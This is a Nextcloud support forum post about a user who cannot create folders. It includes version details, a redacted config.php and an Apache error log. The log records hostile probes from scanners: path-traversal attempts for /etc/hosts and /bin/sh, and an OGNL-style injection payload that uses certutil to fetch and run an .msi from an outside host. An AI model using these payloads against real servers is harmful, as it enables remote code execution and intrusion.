Support intro
Sorry to hear you’re facing problems
help.nextcloud.com is for home/non-enterprise users. If you’re running a business, paid support can be accessed via portal.nextcloud.com where we can ensure your business keeps running smoothly.
In order to help you as quickly as possible, before clicking Create Topic please provide as much of the below as you can. Feel free to use a pastebin service for logs, otherwise either indent short log examples with four spaces:
example
Or for longer, use three backticks above and below the code snippet:
longer
example
here
Some or all of the below information will be requested if it isn’t supplied; for fastest response please provide as much as you can
Nextcloud version (eg, 20.0.5): 24.0.2
Operating system and version (eg, Ubuntu 20.04): Debian 11.3
Apache or nginx version (eg, Apache 2.4.25): Apache 2.4.53 (Debian)
PHP version (eg, 7.4): 7.4.28
The issue you are facing:
Is this the first time you’ve seen this error? (Y/N): Y
Steps to replicate it:
- Connect as any user
- Go to files tab
- Try to create a new directory
The output of your Nextcloud log in Admin > Logging:
Avertissement core Trusted domain error. "X.X.X.X" tried to access using "www.MYDOMAIN.XXX" as host. 2022-07-03T07:33:20+0200
Avertissement core Trusted domain error. "X.X.X.X" tried to access using "www.MYDOMAIN.XXX" as host. 2022-07-02T17:22:47+0200
Avertissement core Trusted domain error. "X.X.X.X" tried to access using "www.MYDOMAIN.XXX" as host. 2022-07-02T14:31:04+0200
The output of your config.php file in /path/to/nextcloud
(make sure you remove any identifiable information!):
<?php
$CONFIG = array (
'instanceid' => 'MY_INSTANCE_ID',
'passwordsalt' => 'MY_PASSWORD_SALT',
'secret' => 'MY_SECRET',
'trusted_domains' =>
array (
0 => 'MYDOMAIN.XXX',
),
'datadirectory' => '/mnt/nextcloud',
'dbtype' => 'mysql',
'version' => '24.0.2.1',
'overwrite.cli.url' => 'https://MYDOMAIN.XXX',
'dbname' => 'nextcloud',
'dbhost' => 'localhost',
'dbport' => '',
'dbtableprefix' => 'oc_',
'mysql.utf8mb4' => true,
'dbuser' => 'nextcloud',
'dbpassword' => 'PASSWORD',
'installed' => true,
'updater.secret' => 'MY_SECRET_KEY',
'maintenance' => false,
'theme' => '',
'loglevel' => 2,
'mail_smtpmode' => 'smtp',
'mail_smtpsecure' => 'ssl',
'mail_sendmailmode' => 'smtp',
'mail_from_address' => 'nextcloud',
'mail_domain' => 'MAIL_DOMAIN',
'mail_smtphost' => 'MAIL_DOMAIN',
'mail_smtpport' => '587',
'default_phone_region' => 'FR',
);
The output of your Apache/nginx/system log in /var/log/____
:
[Sun Jul 03 00:00:07.057942 2022] [mpm_prefork:notice] [pid 1794] AH00163: Apache/2.4.53 (Debian) OpenSSL/1.1.1n configured -- resuming normal operations
[Sun Jul 03 00:00:07.058162 2022] [core:notice] [pid 1794] AH00094: Command line: '/usr/sbin/apache2'
[Sun Jul 03 00:55:21.267477 2022] [core:error] [pid 85945] [client 185.162.235.162:60726] AH10244: invalid URI path (/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts)
[Sun Jul 03 00:55:25.581155 2022] [php7:error] [pid 85837] [client 185.162.235.162:42128] script '/var/www/html/info.php' not found or unable to stat
[Sun Jul 03 01:50:08.656923 2022] [php7:error] [pid 85836] [client 159.223.196.15:38170] script '/var/www/NON_NEXTCLOUD_DOMAIN.fr.nf/wp-login.php' not found or unable to stat, referer: http://NON_NEXTCLOUD_DOMAIN.fr.nf
[Sun Jul 03 01:50:09.451960 2022] [php7:error] [pid 85835] [client 159.223.196.15:47762] script '/var/www/html/wp-login.php' not found or unable to stat, referer: http://blog.NON_NEXTCLOUD_DOMAIN.fr.nf
[Sun Jul 03 03:41:38.214765 2022] [php7:error] [pid 91257] [client 185.7.214.104:40142] script '/var/www/html/index.php' not found or unable to stat
[Sun Jul 03 05:03:30.592360 2022] [core:error] [pid 85838] (36)File name too long: [client 152.89.198.161:34958] AH00036: access to /${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("", Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('cmd','/c','cmd /Q /C certutil.exe -urlcache -split -f https:/temp.sh/PxSCi/999.msi 999.msi && 999.msi').start()"))}/ failed (filesystem path '/var/www/html/${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("", Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('cmd','')
[Sun Jul 03 08:46:20.461287 2022] [core:error] [pid 85835] [client 185.7.214.104:60592] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Sun Jul 03 09:55:18.711227 2022] [php7:error] [pid 112923] [client 103.9.126.114:37462] script '/var/www/html/wp-login.php' not found or unable to stat, referer: http://NON_NEXTCLOUD_DOMAIN.ddns.net
[Sun Jul 03 09:55:23.421692 2022] [php7:error] [pid 112923] [client 103.9.126.114:38388] script '/var/www/html/wp-login.php' not found or unable to stat, referer: http://blog.NON_NEXTCLOUD_DOMAIN.fr.nf